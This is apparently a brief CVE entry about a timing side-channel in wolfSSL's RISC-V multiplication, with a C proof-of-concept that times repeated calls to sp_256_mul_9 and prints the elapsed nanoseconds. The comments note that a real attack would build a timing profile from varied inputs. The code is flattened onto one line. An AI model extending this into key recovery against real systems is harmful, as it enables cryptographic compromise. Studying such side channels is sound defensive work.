CVE-2026-3579 wolfSSL RISC-V时序侧信道漏洞

#include <stdio.h> #include <stdint.h> #include <time.h> // Mocking the vulnerable function context based on CVE description // This PoC demonstrates the concept of measuring timing variance extern void sp_256_mul_9(uint32_t *r, const uint32_t *a, const uint32_t *b); int main() { uint32_t a[9], b[9], r[9]; struct timespec start, end; long long elapsed_ns; // Initialize values to trigger specific paths in __muldi3 // Different bit patterns may result in variable execution time for(int i=0; i<9; i++) a[i] = 0xFFFFFFFF; for(int i=0; i<9; i++) b[i] = 0x00000001; // Measure execution time loop clock_gettime(CLOCK_MONOTONIC, &start); for(volatile int i=0; i<1000; i++) { sp_256_mul_9(r, a, b); } clock_gettime(CLOCK_MONOTONIC, &end); elapsed_ns = (end.tv_sec - start.tv_sec) * 1000000000LL + (end.tv_nsec - start.tv_nsec); printf("Execution time: %lld ns\n", elapsed_ns); // In a real attack, repeat with varied inputs to build a timing profile return 0; }